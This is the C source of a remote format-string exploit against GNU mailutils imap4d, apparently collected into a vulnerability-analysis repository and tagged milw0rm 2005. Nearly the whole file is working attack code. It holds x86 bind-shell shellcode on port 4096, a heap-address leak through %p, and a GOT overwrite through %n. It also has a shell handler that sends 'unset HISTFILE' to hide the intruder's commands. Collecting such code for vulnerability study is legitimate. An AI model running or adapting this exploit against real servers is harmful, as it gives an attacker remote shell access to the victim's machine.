lilbool/vuln-code-analysis
0
1/*
2 gun-imapd.c
3 """""""""""
4
5 gnu mailutils-0.5 - < mailutils-0.6.90 remote formatstring exploit
6
7 written and tested on FC3.
8 this is a first testing version and the onlyone to go public.
9
10
11 by
12 qobaiashi@u-n-f.com
13
14*/
15
16
17
18
19#include <stdio.h>
20#include <string.h>
21#include <unistd.h>
22#include <stdlib.h>
23#include <sys/types.h>
24#include <sys/socket.h>
25#include <netinet/in.h>
26#include <arpa/inet.h>
27#include <netdb.h>
28#include <sys/types.h>
29#include <sys/stat.h>
30#include <fcntl.h>
31
32// to be modified
33#define GOT 0x080573fc
34
35static char bindshell[]= //by pr1 bind to :4096
36"\x31\xc0" // xor %eax,%eax
37"\x50" // push %eax
38"\x40" // inc %eax
39"\x89\xc3" // mov %eax,%ebx
40"\x40" // inc %eax
41"\x53" // push %ebx
42"\x50" // push %eax
43"\x89\xe1" // mov %esp,%ecx
44"\xb0\x66" // mov $0x66,%al
45"\xcd\x80" // int $0x80
46"\x31\xd2" // xor %edx,%edx
47"\x52" // push %edx
48"\x43" // inc %ebx
49"\x6a\x10" // push $0x10
50"\x66\x53" // push %bx
51"\x89\xe1" // mov %esp,%ecx
52"\x6a\x10" // push $0x10
53"\x51" // push %ecx
54"\x50" // push %eax
55"\x89\xe1" // mov %esp,%ecx
56"\xb0\x66" // mov $0x66,%al
57"\xcd\x80" // int $0x80
58"\xd1\xe3" // shl %ebx
59"\xb0\x66" // mov $0x66,%al
60"\xcd\x80" // int $0x80
61"\x58" // pop %eax
62"\x52" // push %edx
63"\x50" // push %eax
64"\x43" // inc %ebx
65"\x89\xe1" // mov %esp,%ecx
66"\xb0\x66" // mov $0x66,%al
67"\xcd\x80" // int $0x80
68"\x87\xd9" // xchg %ebx,%ecx
69"\x93" // xchg %eax,%ebx
70"\x49" // dec %ecx
71"\x31\xc0" // xor %eax,%eax
72"\x49" // dec %ecx
73"\xb0\x3f" // mov $0x3f,%al
74"\xcd\x80" // int $0x80
75"\x41" // inc %ecx
76"\xe2\xf8" // loop 8048469 <blah>
77"\x52" // push %edx
78"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
79"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
80"\x89\xe3" // mov %esp,%ebx
81"\x52" // push %edx
82"\x53" // push %ebx
83"\x89\xe1" // mov %esp,%ecx
84"\xb0\x0b" // mov $0xb,%al
85"\xcd\x80" // int $0x80
86;
87
88
89/********************************\
90|****** handle remoteshell ******|
91\********************************/
92
93int handleshell(int peersh)
94{
95fd_set fds;
96char buff[2048];
97int ret, cntr = 1;
98
99printf(" |- enjoy your stay and come back soon ;>\n");
100
101write(peersh, "unset HISTFILE;id;uname -a;\n", 30);
102
103while(ret && cntr)
104 {
105 FD_ZERO(&fds);
106 FD_SET(0, &fds);
107 FD_SET(peersh, &fds);
108 ret = select(peersh+1, &fds, 0, 0, 0);
109 if(ret)
110 {
111 memset(buff, 0x0, sizeof(buff));
112 if(FD_ISSET(peersh, &fds))
113 {
114 cntr = read(peersh, buff, sizeof(buff)-1);
115 printf("%s", buff);
116 fflush(stdout);
117 }
118 if(FD_ISSET(0, &fds))
119 {
120 cntr = read(0, buff, sizeof(buff)-1);
121 write(peersh, buff, strlen(buff));
122 }
123 }
124 }
125 return 1;
126}
127
128
129
130
131
132/********************************\
133|********* HELP OUTPUT **********|
134\********************************/
135
136void help()
137{
138
139printf(" `- usage: gun-imapd -p 143 -t www.exploits.cx \n");
140exit(0);
141}
142
143
144
145/********************************\
146|******* CONNECT FUNC **********|
147\********************************/
148
149
150int connectme(char* ip, unsigned short port)
151{
152int soquet;
153struct sockaddr_in remoteaddr_in;
154struct hostent* hostip;
155
156memset(&remoteaddr_in, 0x0, sizeof(remoteaddr_in));
157if ((hostip = gethostbyname(ip)) == NULL)
158 {
159 printf(" |- could not resolve [%s]\n", ip);
160 exit(-1);
161 }
162
163remoteaddr_in.sin_family = AF_INET;
164remoteaddr_in.sin_port = htons(port);
165remoteaddr_in.sin_addr = *((struct in_addr *)hostip->h_addr);
166
167if ((soquet = socket(AF_INET, SOCK_STREAM, 0)) < 0)
168 {
169 printf(" |- got no socket!\n");
170 exit(-1);
171 }
172
173printf(" |- try connecting to [%s:%d] ...", ip, port);
174
175if (connect(soquet, (struct sockaddr *)&remoteaddr_in, sizeof(struct sockaddr)) == -1)
176 {
177 printf(" no connection, exiting!\n");
178 exit(-1);
179 }
180
181printf(" successfull!\n");
182return(soquet);
183}
184
185
186/********************************\
187|********* DO SPLOIT ************|
188\********************************/
189
190int do_sploit(int soquet)
191{
192char buff[1024], *addr = 0;
193int cntr = 0, *ptr, scaddr, gotaddr = GOT;
194unsigned int w1, w2 ,w3;
195
196//find heap with our shellcode: !experimental!
197memset(buff, 0x00, sizeof(buff));
198memset(buff, 0x41, 496);
199strcat(buff, "111122223333%p%p%p%p[%p-%p]\r\n");
200
201if(write(soquet, buff, strlen(buff)) == -1)
202 {
203 printf(" |- could not send packet!\n");
204 return -1;
205 }
206memset(buff, 0x00, sizeof(buff));
207read(soquet, buff, sizeof(buff)-1);
208addr = strstr(buff, "[");
209if(addr > 0)
210 {
211 scaddr = strtoul(++addr, 0, 0) + 0x330;//the next chunk..
212 printf(" |- using %p\n", scaddr);
213 }
214else printf(" |- !could not determine heap address..\n!");
215//k build exploit now:
216
217 w3 = ( scaddr & 0xffff0000 ) >> 16;
218 w1 = ( scaddr & 0x0000ffff );
219
220
221memset(buff, 0x00, sizeof(buff));
222memset(buff, 0x41, 496);
223memcpy(buff+400, bindshell, strlen(bindshell));
224cntr = strlen(buff) + 3*4;
225
226
227ptr = (int *)gotaddr;
228memcpy((buff+496), &ptr,4);
229ptr = (int *)gotaddr;
230memcpy((buff+500), &ptr,4);
231ptr = (int *)(gotaddr+2);
232memcpy((buff+504), &ptr,4);
233w1 -= cntr;
234w3 += (0x10000 - w1) - cntr;
235sprintf(buff+508, "%%%dp%%n%%%dp%%n \r\n", w1, w3);
236
237if(write(soquet, buff, strlen(buff)) == -1)
238 {
239 printf(" |- could not send packet!\n");
240 return -1;
241 }
242//memset(buff, 0x00, sizeof(buff));
243//read(soquet, buff, sizeof(buff));
244
245
246return 1;
247}
248
249/********************************\
250|************* MAIN *************|
251\********************************/
252
253int main(int argc, char *argv[])
254{
255int tmp, socke, port = 143;
256char *target = 0;
257char banner[32];
258
259printf(" . gun-imapd v0.1 by qobaiashi\n |\n");
260memset(banner, 0x00, sizeof(banner));
261
262while((tmp = getopt(argc, argv, "p:t:h")) != EOF)
263 {
264 switch (tmp)
265 {
266 case 'p':
267 port = atoi(optarg);
268 printf(" |- using port: %d\n", port);
269 break;
270
271 case 't':
272 target = optarg;
273 printf(" |- target host is: %s\n", optarg);
274 break;
275
276 case 'h': help();
277 }
278
279 }
280if (target == NULL) help();
281socke = connectme(target, port);
282
283if (read(socke, banner, sizeof(banner)) > -1)
284 {
285 printf(" |- remote host is a %s", (banner+4));
286 }
287
288do_sploit(socke);
289sleep(1);
290tmp = connectme(target, 4096);
291handleshell(tmp);
292
293close(tmp);
294close(socke);
295}
296
297// milw0rm.com [2005-06-10]